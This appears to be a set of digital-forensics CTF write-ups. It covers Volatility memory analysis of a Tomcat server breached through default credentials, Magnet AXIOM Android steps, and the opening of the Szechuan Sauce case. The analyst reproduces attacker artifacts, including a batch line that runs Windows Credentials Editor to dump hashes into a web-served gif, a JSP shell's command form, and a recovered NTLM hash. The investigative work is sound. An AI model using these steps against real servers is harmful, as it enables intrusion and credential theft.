Looking for shells

```
$ cat /mnt/volatility/DF/tomcat-dump/1728strings.txt | grep -i 'post' | more
```

Let's see when 58.64.141.245 first accessed the web server.

```
58.64.141.245 - - [08/Jun/2015:19:38:44 -0400] "GET /manager/html HTTP/1.1" 401 2538

$ grep -C10 "58\.64\.141\.245" /mnt/volatility/DF/tomcat-dump/1728strings.txt

58.64.141.245 - - [11/Jun/2015:18:27:51 -0400] "GET /webfiles/?sort=1&downfile=C%3A%5Cinetpub%5Cwwwroot%5Csm.gif HTTP/1.1" 200 975 - - [11/Jun/2015:18:27:37 -0400] "GET /webfiles/?Javascript HTTP/1.1" 200 3714
58.64.141.245 - - [11/Jun/2015:18:27:44 -0400] "GET /webfiles/?sort=1&file=C%3A%5Cinetpub%5Cwwwroot%5Csm.gif HTTP/1.1" 200 972 7:34 -0400] "GET /webfiles/?Javascript HTTP/1.1" 200 3714/1.1" 200 3714 - [11/Jun/2015:18:13:43 -0400] "GET /webfiles/?sort=1&dir=C%3A%5Cinetpub%5Cwwwroot HTTP/1.1" 200 8863
58.64.141.245 - - [11/Jun/2015:18:13:43 -0400] "GET /webfiles/?Javascript HTTP/1.1" 200 3714
```

Let's focus on the activity around 'GET /webfiles'

```
$ grep -C10 "GET \/webfiles" /mnt/volatility/DF/tomcat-dump/1728strings.txt

GET /webfiles/?sort=1&file=C%3A%5Cinetpub%5Cwwwroot%5Csm.gif HTTP/1.1
accept:*/**
referer:http://192.168.56.30:8080/webfiles/?sort=1&dir=C%3A%5Cinetpub%5Cwwwroott
accept-language:en-uss
user-agent:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0))
accept-encoding:gzip, deflatee
host:192.168.56.30:80800
connection:Keep-Alivee
cookie:JSESSIONID=D4BB0A17D08FE321DF87835231D798244
cookie:JSESSIONID=D4BB0A17D08FE321DF87835231D798244
0A17D08FE321DF87835231D798244
--
Accept-Encoding: gzip, deflate
Host: 192.168.56.30:8080
Connection: Keep-Alive
Cookie: JSESSIONID=983D1DF88F7A229E9D2C5DD76804F120
Authorization: Basic dG9tY2F0OnRvbWNhdA==
```

Authorisation is base64. Let's decode it.

```
$ echo dG9tY2F0OnRvbWNhdA== | base64 -d
tomcat:tomcat
```

Found interesting strings in 1728strings.txt

```
178956:Created by jsp File Browser v.
```

Let's focus on that.

```
179973:"                <small>jsp File Browser version
179974-C by <a href="http://www.vonloesch.de">www.vonloesch.de</a></small>
179975- </center>
179976-</html>
179977-java/util/zip/ZipFile

246416- <div class="formular">
246417- <form class="formular2" action="/webfiles/" enctype="multipart/form-data" method="POST">
246418-         <input type="hidden" name="dir" value="C:\inetpub\wwwroot">
246419-         <input type="hidden" name="sort" value="1">
246420-         <input type="file" class="textfield" onKeypress="event.cancelBubble=true;" name="myFile">
246421-         <input title="Upload selected file to the current working directory
246422-" type="Submit" class="button" name="Submit" value="Upload"
246423-         onClick="javascript:popUp('/webfiles/')">
246424- </form>
246425-    <form class="formular2" action="/webfiles/" method="POST">
246426-         <input type="hidden" name="dir" value="C:\inetpub\wwwroot">
246427-         <input type="hidden" name="sort" value="1">
246428-         <input type="hidden" name="command" value="">
246429-         <input title="Launch command in current directory" type="Submit" class="button" id="but_Lau" name="Submit" value="(L)aunch external program">
246430- </form>
246431-    </div>
246432-
246433- <hr>
246434- <center>
246435:         <small>jsp File Browser version 1.2 by <a href="http://www.vonloesch.de">www.vonloesch.de</a></small>
246436- </center>
246437-</bo
246438-H7
246439- H7
246440- H7
246441- Wp<
246442-/manager/images/asf-logo.gif
246443-org.apache.catalina.filters.CSRF_NONCE
246444-multipart/form-data; boundary=---------------------------7df134640124
246445-/manager/images/tomcat.gif
246446-org.apache.catalina.filters.CSRF_NONCE=262D313C4A6E085593AF3CAD4F4E7A99
246447-en-us
246448-262D313C4A6E085593AF3CAD4F4E7A99
246449-W/"2066-1431019026000"
246450-36791
246451-Thu, 07 May 2015 17:17:06 GMT
246452-W/"7279-1431019026000"
246453-/manager/html/upload
246454-/manager/html

248751-/webfiles/tml/uploadlogo.gif
248752-sort=1&file=C:\inetpub\wwwroot\sm.gif5Csm.gif3C4A6E085593AF3CAD4F4E7A99
248753-HTTP/1.1 200 OK
248754-Server: Apache-Coyote/1.1
248755-Content-Disposition: inline;filename="sm.gif"
248756-Content-Type: image/gif;charset=ISO-8859-1
248757-Content-Length: 97
248758-Date: Thu, 11 Jun 2015 22:27:44 GMT
248759-Administrator:WIN-CEKM08E74HR:A15153D335C2751F17306D272A9441BB:835FD21AAC32076DF24DC75E0C77144F
248760-pe="hidden" name="dir" value="C:\inetpub\wwwroot">
248761-         <input type="hidden" name="sort" value="1">
248762-         <input type="hidden" name="command" value="">
248763-         <input title="Launch command in current directory" type="Submit" class="button" id="but_Lau" name="Submit" value="(L)aunch external program">
248764- </form>
248765-    </div>
248766-
248767- <hr>
248768- <center>
248769:         <small>jsp File Browser version 1.2 by <a href="http://www.vonloesch.de">www.vonloesch.de</a></small>

38887-      out.write("\t\t<input type=\"hidden\" name=\"command\" value=\"\">\n");
38888-      out.write("\t\t<input title=\"Launch command in current directory\" type=\"Submit\" class=\"button\" id=\"but_Lau\" name=\"Submit\" value=\"");
65343-      out.write("\t\t<input type=\"hidden\" name=\"command\" value=\"\">\n");
65344-      out.write("\t\t<input title=\"Launch command in current directory\" type=\"Submit\" class=\"button\" id=\"but_Lau\" name=\"Submit\" value=\"");
```

Let's find this shell.

```
58.64.141.245 - - [11/Jun/2015:18:12:18 -0400] "GET /webfiles/?uplMonitor=C%3A%5Cfakepath%5C12.bat HTTP/1.1" 200 574

$ cat /mnt/volatility/DF/tomcat-dump/1728strings.txt | grep -i '\.bat'

<snip>
at 18:25 c:\windows\12.bat
first&uplMonitor=C%3A%5Cfakepath%5C12.bat
Javascriptonitor=C:\fakepath\12.bat12.bat
C:\fakepath\12.bat
Content-Disposition: form-data; name="myFile"; filename="12.bat"
uplMonitor=C%3A%5Cfakepath%5C12.bat
Javascript=C:\inetpub\wwwrootwwroot12.bat
uplMonitor=C%3A%5Cfakepath%5C12.bat
at 18:25 c:\windows\12.bat
first&uplMonitor=C%3A%5Cfakepath%5C12.bat
C:\fakepath\12.bat
<snip>
GET /webfiles/?first&uplMonitor=C%3A%5Cfakepath%5C12.bat HTTP/1.1
Content-Disposition: form-data; name="myFile"; filename="12.bat"
<snip>
58.64.141.245 - - [11/Jun/2015:18:12:16 -0400] "GET /webfiles/?first&uplMonitor=C%3A%5Cfakepath%5C12.bat HTTP/1.1" 200 865
58.64.141.245 - - [11/Jun/2015:18:12:18 -0400] "GET /webfiles/?uplMonitor=C%3A%5Cfakepath%5C12.bat HTTP/1.1" 200 574
```

Right. C:\fakepath\12.bat - let's dump this batch script

```
$ python vol.py -f $mem --profile=Win2008SP1x86 filescan | grep -i "12\.bat"

Volatility Foundation Volatility Framework 2.6.1
0x000000001ee373f8      8      0 -W-rw- \Device\HarddiskVolume1\Windows\12.bat

$ python vol.py -f $mem --profile=Win2008SP1x86 dumpfiles -Q 0x000000001ee373f8 -D /mnt/volatility/DF/tomcat-dump/
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x1ee373f8   None   \Device\HarddiskVolume1\Windows\12.bat
```

Examine 12.bat

```
$ cat /mnt/volatility/DF/tomcat-dump/file.None.0x8362e730.dat

@echo off
c:\inetpub\wwwroot\bg.jpg -e -o c:\inetpub\wwwroot\sm.gif
```

pstree verbose

```
$ python vol.py -f $mem --profile=Win2008SP1x86 pstree -v
```

```
..... 0x8362fca0:bg.jpg                              3580   3572      1     61 2015-06-11 22:25:00 UTC+0000
         audit: \Device\HarddiskVolume1\inetpub\wwwroot\bg.jpg
         cmd: c:\inetpub\wwwroot\bg.jpg  -e -o c:\inetpub\wwwroot\sm.gif
         path: c:\inetpub\wwwroot\bg.jpg
```

Let's determine what bg.jpg actually is

```
$ python vol.py -f $mem --profile=Win2008SP1x86 filescan | grep -i 'bg\.jpg'

Volatility Foundation Volatility Framework 2.6.1
0x000000001ede1ba0      8      0 -W-rw- \Device\HarddiskVolume1\inetpub\wwwroot\bg.jpg
0x000000001f2dc170      7      0 R--r-d \Device\HarddiskVolume1\inetpub\wwwroot\bg.jpg

$ sha1sum /mnt/volatility/DF/tomcat-dump/file.*
c0d7899cc49bf2cb4f3abe663dc6a62ed69c06ff  /mnt/volatility/DF/tomcat-dump/file.None.0x832c0680.dat
```

> <https://www.virustotal.com/gui/file/b1f233d1eccf366af43ebd62e8f276ba3794c353c3f179b8989798870d07e00b/detection>

```
26019082706f9898a716d8803f57cc70365c821b  /mnt/volatility/DF/tomcat-dump/file.None.0x8362fb20.img

$ strings file.None.0x8362fb20.img

WCE %s (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
Options:
        -l              List logon sessions and NTLM credentials (default).
                        Optional: -r<refresh interval>.
        -s              Changes NTLM credentials of current logon session.
                        Parameters: <UserName>:<DomainName>:<LMHash>:<NTHash>.
        -o              saves all output to a file.
        -r              Lists logon sessions and NTLM credentials indefinitely.
                        Refreshes every 5 seconds if new sessions are found.
        -c              Run <cmd> in a new session with the specified NTLM credentials.
                        Parameters: <cmd>.
        -e              Lists logon sessions NTLM credentials indefinitely.
                        Refreshes every time a logon event occurs.
                        Parameters: <filename>.
        -i              Specify LUID instead of use current logon session.
                        Parameters: <luid>.
        -d              Delete NTLM credentials from logon session.
                        Parameters: <luid>.
        -a              Use Addresses.
                        Parameters: <addresses>
        -f              Force 'safe mode'.
        -g              Generate LM & NT Hash.
                        Parameters: <password>.
        -K              Dump Kerberos tickets to file (unix & 'windows wce' format)
Error in cmdline!. Bye!.
        -k              Read Kerberos tickets from file and insert into Windows cache
username wrong format!.
        -w              Dump cleartext passwords stored by the digest authentication package
        -v              verbose output.
```

So it's windows credential editor. -e for credentials, -o for output.\
Review sm.gif

```
$ python vol.py -f $mem --profile=Win2008SP1x86 filescan | grep -i 'sm\.gif'

Volatility Foundation Volatility Framework 2.6.1
0x000000001edf6640      1      0 R--rw- \Device\HarddiskVolume1\inetpub\wwwroot\sm.gif

$ python vol.py -f $mem --profile=Win2008SP1x86 dumpfiles -Q 0x000000001edf6640 -D /mnt/volatility/DF/tomcat-dump/wce

Volatility Foundation Volatility Framework 2.6.1
DataSectionObject
0x1edf6640 None \Device\HarddiskVolume1\inetpub\wwwroot\sm.gif


$ strings /mnt/volatility/DF/tomcat-dump/wce/file.None.0x830f1448.dat
Administrator:WIN-CEKM08E74HR:A15153D335C2751F17306D272A9441BB:835FD21AAC32076DF24DC75E0C77144F
```

Identifying tasks

```
$ python vol.py -f $mem --profile=Win2008SP1x86 filescan | grep -i 'tasks'

Volatility Foundation Volatility Framework 2.6.1
0x000000001ee03280      1      0 R--r-d \Device\HarddiskVolume1\Windows\System32\Tasks\Microsoft\Windows\NetworkAccessProtection\NAPStatus UI
0x000000001ee49ba8      1      0 R--r-d \Device\HarddiskVolume1\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask
0x000000001f122450      1      0 R--r-d \Device\HarddiskVolume1\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor
0x000000001f127f80      1      0 R--r-d \Device\HarddiskVolume1\Windows\System32\Tasks\Microsoft\Windows\Multimedia\SystemSoundsService
0x000000001f1e8bd8     17      1 RW-r-- \Device\HarddiskVolume1\Windows\System32\winevt\Logs\Microsoft-Windows-TaskScheduler%4Operational.evtx
0x000000001f1eb750      8      0 -W-r-- \Device\HarddiskVolume1\Windows\System32\Tasks\At1
0x000000001f22da78     10      1 RW-r-- \Device\HarddiskVolume1\Windows\Tasks\SCHEDLGU.TXT
0x000000001f22e9c8      6      1 R--rw- \Device\HarddiskVolume1\Windows\Tasks
0x000000001f231b18      2      0 R--r-d \Device\HarddiskVolume1\Windows\System32\taskschd.dll
0x000000001f2638d0      1      0 R--r-d \Device\HarddiskVolume1\Windows\System32\Tasks\Microsoft\Windows\PLA\System\ConvertLogEntries
*0x000000001f297ad8      8      0 -W-r-d \Device\HarddiskVolume1\Windows\Tasks\At1.job*
0x000000001f2e7ed0      1      0 R--r-d \Device\HarddiskVolume1\Windows\System32\Tasks\Microsoft\Windows\Server Manager\ServerManager


$ python vol.py -f $mem --profile=Win2008SP1x86 dumpfiles -Q 0x000000001f297ad8 -D /mnt/volatility/DF/tomcat-dump/tasks
$ strings -el /mnt/volatility/DF/tomcat-dump/tasks/file.None.0x8363fd10.dat

c:\windows\12.bat
SYSTEM
Created by NetScheduleJobAdd.
```

```
$ xxd /mnt/volatility/DF/tomcat-dump/tasks/file.None.0x8363fd10.dat

00000000: 0006 0100 7cbf 6c48 bcaa 564e 928f 06eb  ....|.lH..VN....
00000010: 7057 4ccb 4600 ca00 0000 0000 3c00 0a00  pWL.F.......<...
00000020: 2000 0000 0014 730f 0000 0000 0113 0400   .....s.........
00000030: 0200 e021 df07 0600 0400 0b00 1200 1900  ...!............
00000040: 0000 1c00 0100 1200 6300 3a00 5c00 7700  ........c.:.\.w.
00000050: 6900 6e00 6400 6f00 7700 7300 5c00 3100  i.n.d.o.w.s.\.1.
00000060: 3200 2e00 6200 6100 7400 0000 0000 0000  2...b.a.t.......
00000070: 0700 5300 5900 5300 5400 4500 4d00 0000  ..S.Y.S.T.E.M...
00000080: 1e00 4300 7200 6500 6100 7400 6500 6400  ..C.r.e.a.t.e.d.
00000090: 2000 6200 7900 2000 4e00 6500 7400 5300   .b.y. .N.e.t.S.
000000a0: 6300 6800 6500 6400 7500 6c00 6500 4a00  c.h.e.d.u.l.e.J.
000000b0: 6f00 6200 4100 6400 6400 2e00 0000 0000  o.b.A.d.d.......
000000c0: 0800 0000 0000 0000 0000 0100 3000 0000  ............0...
000000d0: df07 0600 0b00 0000 0000 0000 1200 1900  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0100 0100  ................
00000100: 3c56 fcbd fe46 561b 1843 6c37 2c42 d847  <V...FV..Cl7,B.G
00000110: 8146 13f0 4dc0 8ca1 6385 9699 3525 f122  .F..M...c...5%."
00000120: a49a 20ed 4b99 5850 df79 17f8 0f16 4777  .. .K.XP.y....Gw
00000130: b394 0b70 a307 7bd4 993b a5d4 71a0 0a19  ...p..{..;..q...
```

Dump security logs to identify who created scheduled task

```
$ python vol.py -f $mem --profile=Win2008SP1x86 filescan | grep -i 'security'

Volatility Foundation Volatility Framework 2.6.1
0x000000001ee09960      3      1 RW---- \Device\HarddiskVolume1\Windows\System32\config\RegBack\SECURITY
0x000000001f091600     11      1 RW---- \Device\HarddiskVolume1\Windows\System32\config\SECURITY
0x000000001f1ed2c0     13      1 RW-r-- \Device\HarddiskVolume1\Windows\System32\winevt\Logs\Security.evtx
0x000000001fa06ed8      1      1 RW---- \Device\HarddiskVolume1\Windows\System32\config\SECURITY.LOG1
0x000000001fa31308     17      1 RWDr-d \Device\HarddiskVolume1\Windows\System32\LogFiles\WMI\RtBackup\EtwRTEventlog-Security.etl
0x000000001fa31b00      1      1 RW---- \Device\HarddiskVolume1\Windows\System32\config\SECURITY.LOG2
0x000000001fa37a60      1      1 RW-r-d \Device\HarddiskVolume1\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Configuration-Wizard%4Operational.etl
0x000000001fa37b08      1      1 RW-r-d \Device\HarddiskVolume1\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Configuration-Wizard%4Diagnostic.etl
```

```
$ python vol.py -f $mem --profile=Win2008SP1x86 dumpfiles -Q 0x000000001f1ed2c0 -D /mnt/volatility/DF/tomcat-dump/security-log/

Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x1f1ed2c0   None   \Device\HarddiskVolume1\Windows\System32\winevt\Logs\Security.evtx
SharedCacheMap 0x1f1ed2c0   None   \Device\HarddiskVolume1\Windows\System32\winevt\Logs\Security.evtx
```

Renamed file.None.0x831ef6a0.vacb to file.None.0x831ef6a0.vacb.evtx\
Opened in Event Viewer, refined by ID 4698 (new scheduled task has been created)

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" /> 
  <EventID>4698</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>12804</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2015-06-11T22:13:16.426336000Z" /> 
  <EventRecordID>7273</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="608" ThreadID="2268" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-CEKM08E74HR</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">WIN-CEKM08E74HR$</Data> 
  <Data Name="SubjectDomainName">WORKGROUP</Data> 
  <Data Name="SubjectLogonId">0x3e7</Data> 
  <Data Name="TaskName">\At1</Data> 
  <Data Name="TaskContent"><?xml version="1.0" encoding="UTF-16"?>
  <Task version="1.0" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo /> <Triggers> <TimeTrigger> <StartBoundary>2015-06-11T18:25:00</StartBoundary> </TimeTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>@AtServiceAccount</UserId> <LogonType>InteractiveTokenOrPassword</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Actions Context="Author"> <Exec> <Command>c:\windows\12.bat</Command> </Exec> </Actions> </Task></Data> 
  </EventData>
  </Event>
```

## Executive Summary

We have a Tomcat7 installation on a Windows 2008 server. Access was gained with default tomcat credentials (tomcat/tomcat). A file was uploaded which provided SYSTEM level access. Windows Credential Editor (WCE) was uploaded, a scheduled task was created which executed WCE and dumped local credentials into a single file. The attacker downloaded that file remotely, gaining access to the local Administrator account credentials. All attacks took place on 11th June 2015 from the IP 58.64.141.245


# Magnet Weekly CTF

Magnet Forensics are offering a weekly CTF challenge with a focus on digital forensics. More information can be found on their blog. Each CTF write up written on its own page.

<https://www.magnetforensics.com/blog/magnet-weekly-ctf-challenge/>


# Magnet CTF Week 0

## Magnet CTF Challenge Week 0 writeup

This challenge requires the following Android image;

<https://drive.google.com/file/d/1tVTppe4-3Hykug7NrOJrBJT4OXuNOiDO/view?usp=sharing>

This image will be processed with Magnet AXIOM on a Windows 10 workstation. Follow your standard naming convention and folder structure. I'll be placing my data in the following locations;

C:\DF\CTF\MagnetWeeklyCTF\CaseFiles\
C:\DF\CTF\MagnetWeeklyCTF\EvidenceFiles

The process of creating a case, adding evidence, and processing/ingesting it is fairly straight forward so I won't be going into a great deal of detail for this particular CTF.

The answers/weekly write-ups won't be published prior as soon as they are completed. They will be posted approximately 1 week after the CTF round has finished.

1. **Create a case in Magnet AXIOM and complete case details**

![](/files/-MIivOata7D6k6qB68Qv)

1. **Select 'MOBILE'**

![](/files/-MIiva4mncRyyl-hLApc)

1. **Select ANDROID**

![](/files/-MIivkAom_HKdXTyE9_D)

**4. Load Evidence**

![](/files/-MIivredbkibJJ2-jEts)

**5. Select 'image'**\
(The .tar archive is an Android backup and treated differently to a folder of loose files/folders)

![](/files/-MIiw6whVc9x8F2gb-JI)

**6. Verify the .tar archive has been identified correctly and the device's folder structure can be viewed.**

Let AXIOM do its thing and come back later.


# Magnet CTF Week 1

## Magnet CTF Challenge Week 1 writeup

![](/files/-MIx6ezJCr0M267pOH-w)

Android is based on the Linux kernel, and as such, system configuration files are sometimes located in the usual places. In order to answer the question above, we need to identify a few things;

1. The file which maps hostnames to IP addresses

2. The location of that file

3. The last accessed time of that file

4. If you're not familiar with the Linux operating system, it is possible to get a bit confused when it comes to DNS and/or hostname mapping. /etc/resolv.conf identifies nameservers to use for DNS lookups, however **/etc/hosts** is used to statically map hostnames to IP addresses. \[1]<br>

5. Android adb backups/dumps do not have the same file/folder structure as pure Linux operating systems. As a result, it may be difficult to find the exact location. On the right hand side of this image, make sure 'All subfolders' is selected. This will show the contents of the folder on the left (in this case, the 'data' folder) as well as recursively listing all of the contents. From here, we can search for 'hosts'.<br>

<div align="left"><img src="/files/-MIx8IsJNY3ymg86F8Mw" alt=""></div>

On the right hand side of the screen, enter 'hosts' as a filter.

![](/files/-MIx8rCTfKqtzxFEuw36)

The file itself is routinely accessed by the operating system. The CTF question asks for accessed time, but the file itself does not have an accessed time recorded; only a modified time of 05/03/2020 05:50:18

![](/files/-MIx9H1Ah-7TN5gmbMJP)

\[1] <https://www.linode.com/docs/networking/dns/using-your-systems-hosts-file/><br>

Thank you to Magnet Forensics for providing a temporary licence to use for both this and the [DFIR Madness CTF writeup.](/ctf-challenges/dfir-madness-ctf-challenges)


# DFIR Madness CTF


# Case 001 - Szechuan Sauce

I'm aiming to tackle this CTF with both open source and commercial software. Volatility for the memory analysis, Wireshark for the PCAP analysis, [Magnet AXIOM](https://www.magnetforensics.com/products/magnet-axiom/) for the entire case, and if I have time, Autopsy as well. This is an ongoing project which is time intensive.

This write-up assumes you have a forensic workstation with Volatility installed in a working manner. <https://dfirmadness.com/the-stolen-szechuan-sauce/>

Analysts are presented with the following files.

* case001-pcap.zip
* DC01-autorunsc.zip
* DC01-E01.zip
* DC01-memory.zip
* DC01-pagefile.zip
* DC01-ProtectedFiles.zip
* DESKTOP-E01.zip
* DESKTOP-SDN1RPT-autrunsc.zip
* DESKTOP-SDN1RPT-memory.zip
* Desktop-SDN1RPT-pagefile.zip
* DESKTOP-SDN1RPT-Protected Files.zip

Questions to Answer / Goals

* [x] What’s the Operating System of the Server?&#x20;
* [x] What’s the Operating System of the Desktop?
* [x] What was the local time of the Server?
* [ ] Was there a breach?
* [ ] What was the initial entry vector (how did they get in)?
* [ ] Was malware used? If so what was it? If there was malware answer the following:
  * [ ] What process was malicious?
  * [ ] Identify the IP Address that delivered the payload.
  * [ ] What IP Address is the malware calling to?
  * [ ] Where is this malware on disk?
  * [ ] When did it first appear?
  * [ ] Did someone move it?
  * [ ] What were the capabilities of this malware?
  * [ ] Is this malware easily obtained?
  * [ ] Was this malware installed with persistence on any machine?
    * [ ] When?
    * [ ] Where?
* [ ] What malicious IP Addresses were involved?
  * [ ] Were any IP Addresses from known adversary infrastructure?
  * [ ] Are these pieces of adversary infrastructure involved in other attacks around the time of the attack?
* [ ] Did the attacker access any other systems?
  * [ ] How?
  * [ ] When?
* [ ] Did the attacker steal or access any data?
  * [ ] When?
* [ ] What was the network layout of the victim network?
* [ ] What architecture changes should be made immediately?
* [ ] Did the attacker steal the Szechuan sauce? If so, what time?
* [ ] Did the attacker steal or access any other sensitive files? If so, what times?
* [ ] Finally, when was the last known contact with the adversary?

This is a long string, so we'll set $DC01 to /mnt/c/DF/CTF/DFIRMadness/EvidenceFiles/DC01-memory/citadeldc01.mem

```
$ DC01=/mnt/c/DF/CTF/DFIRMadness/EvidenceFiles/DC01-memory/citadeldc01.mem
$ echo $DC01
$ /mnt/c/DF/CTF/DFIRMadness/EvidenceFiles/DC01-memory/citadeldc01.mem
```

First, obtain a profile using kdbgscan as we'll rely on this later on when running other commands.

```
$ python vol.py -f /mnt/c/DF/CTF/DFIRMadness/EvidenceFiles/DC01-memory/citadeldc01.mem kdbgscan

Volatility Foundation Volatility Framework 2.6.1
**************************************************
Instantiating KDBG using: Unnamed AS Win2012R2x64_18340 (6.3.9601 64bit)
Offset (V)                    : 0xf800cba9ba20
Offset (P)                    : 0x249ba20
KdCopyDataBlock (V)           : 0xf800cb9dd6d8
Block encoded                 : Yes
Wait never                    : 0xb59702001c3eb201
Wait always                   : 0x387d79fd32e1c000
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win2012R2x64_18340
Version64                     : 0xf800cba9bd80 (Major: 15, Minor: 9600)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab)     : 9600.17031.amd64fre.winblue_gdr.
PsActiveProcessHead           : 0xfffff800cbab40a0 (40 processes)
PsLoadedModuleList            : 0xfffff800cbace2d0 (154 modules)
KernelBase                    : 0xfffff800cb804000 (Matches MZ: True)
Major (OptionalHeader)        : 6
Minor (OptionalHeader)        : 3
KPCR                          : 0xfffff800cbaea000 (CPU 0)
KPCR                          : 0xffffd0019fd55000 (CPU 1)
```

From this we can identify the most appropriate profile suggestion based on the kernel debug header, identify the number of processes running and loaded modules. If kdbgscan returned 0 values, it would not be an appropriate profile. I personally prefer to use instantiated profiles which containing a specific build number. Volatility modules/plugins work nicely with specified builds. For example, if we run hivelist using Win2012R2x64 instead of Win2012R2x64\_18340, it does not contain any results. The latter shows our required hives.

**Q 1.** We can obtain this from the memory dump from DC01. Our results above suggest the most appropriate profile is Windows Server 2012 R2, but let's see how we can confirm that with registry artefacts. Since Windows 2000, operating system information is stored in the registry at the following location; HKLM\Software\Microsoft\Windows NT\CurrentVersion. Armed with that location and an OS profile from Volatility, we can query the registry and print the following keys;

```
$ python vol.py -f $DC01 --profile=Win2012R2x64_18340 hivelist

Virtual            Physical           Name
------------------ ------------------ ----
0xffffc001f30e0000 0x000000001e6ab000 \??\C:\Users\Administrator\ntuser.dat
0xffffc001f326b000 0x00000000166ec000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xffffc001f1f00000 0x0000000028b27000 \??\C:\Users\Administrator\ntuser.dat
0xffffc001f1f2a000 0x000000002281d000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xffffc001f1e41000 0x000000002e696000 \??\C:\Users\Administrator\ntuser.dat
0xffffc001f1e94000 0x0000000035846000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xffffc001f0c1e000 0x0000000000972000 [no name]
0xffffc001f0c28000 0x00000000009fd000 \REGISTRY\MACHINE\SYSTEM
0xffffc001f0c55000 0x0000000000930000 \REGISTRY\MACHINE\HARDWARE
0xffffc001f1166000 0x0000000000bfc000 \Device\HarddiskVolume1\Boot\BCD
**0xffffc001f117a000 0x000000000cc96000 \SystemRoot\System32\Config\SOFTWARE**
0xffffc001f3c1a000 0x00000000732f5000 \SystemRoot\System32\Config\DEFAULT
0xffffc001f76b8000 0x0000000007a66000 \SystemRoot\System32\Config\SECURITY
0xffffc001f773b000 0x000000007204e000 \SystemRoot\System32\Config\SAM
0xffffc001f7735000 0x00000000717f3000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xffffc001f1200000 0x00000000714ba000 \SystemRoot\System32\Config\BBI
0xffffc001f129d000 0x0000000070ed3000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xffffc001f3208000 0x000000001d156000 \??\C:\Users\Administrator\ntuser.dat
0xffffc001f3216000 0x000000001d25c000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
```

We don't want to dump the SOFTWARE hive itself (we would use hivedump for that). We just want to query the current values.

```
$ python vol.py -f $DC01 --profile=Win2012R2x64_18340 printkey -K "Microsoft\Windows NT\CurrentVersion"

Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: CurrentVersion (S)
Last updated: 2020-09-17 18:05:43 UTC+0000

[snip]
Values:
REG_SZ        SystemRoot      : (S) C:\Windows
REG_SZ        SoftwareType    : (S) System
REG_SZ        RegisteredOwner : (S) Windows User
REG_DWORD     InstallDate     : (S) 1600361039
REG_SZ        CurrentVersion  : (S) 6.3
REG_SZ        CurrentBuild    : (S) 9600
REG_SZ        RegisteredOrganization : (S)
REG_SZ        CurrentType     : (S) Multiprocessor Free
REG_SZ        InstallationType : (S) Server
REG_SZ        EditionID       : (S) ServerStandardEval
REG_SZ        ProductName     : (S) Windows Server 2012 R2 Standard Evaluation
REG_SZ        ProductId       : (S) 00252-10000-00000-AA228
```

InstallDate is in epoch timestamp (number of seconds since 01/01/1970). Converted = GMT: Thursday, September 17, 2020 4:43:59 PM

While we have the profile up and running, we'll query current processes to identify anything suspicious.

```
$ python vol.py -f $DC01 --profile=Win2012R2x64_18340 pstree -v
$ python vol.py -f $DC01 --profile=Win2012R2x64_18340 netscan > netscan.txt
```

Client interview identified compromised systems were located in 10.42.0.0 (client said 'something something', but it's this CIDR).

Remove references to IPv6

```
$ grep -v "dns.exe\|v6" netscan.txt
```

We identify the following connections from local processes to remote hosts;

```
0x20fc7590         TCPv4    10.42.85.10:62613              203.78.103.109:443   ESTABLISHED      3644     coreupdater.exe
0x60182590         TCPv4    10.42.85.10:62613              203.78.103.109:443   ESTABLISHED      3644     coreupdater.exe
```

IP information

```
$ whois  203.78.103.109
% [whois.apnic.net]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

% Information related to '203.78.96.0 - 203.78.111.255'

% Abuse contact for '203.78.96.0 - 203.78.111.255' is 'abuse@netway.co.th'

inetnum:        203.78.96.0 - 203.78.111.255
netname:        NETWAY-TH
descr:          Netway Communication Co.,Ltd.
descr:          72 4th Floor, Telecom Tower, Charoen Krung Road,
descr:          Bangrak, Bangkok 10500,Thailand
descr:          Tel (662) 639-7700 Fax: (662) 639-7706
country:        TH
org:            ORG-NCCL1-AP
admin-c:        VR17-AP
tech-c:         VR17-AP
abuse-c:        AN781-AP
status:         ALLOCATED PORTABLE
mnt-by:         APNIC-HM
mnt-lower:      MAINT-TH-NETWAY
mnt-irt:        IRT-NETWAY-TH
last-modified:  2020-06-22T05:50:39Z
source:         APNIC
```

(We can check this IP against our captured PCAP shortly).

**Q 2.** What’s the Operating System of the Desktop?

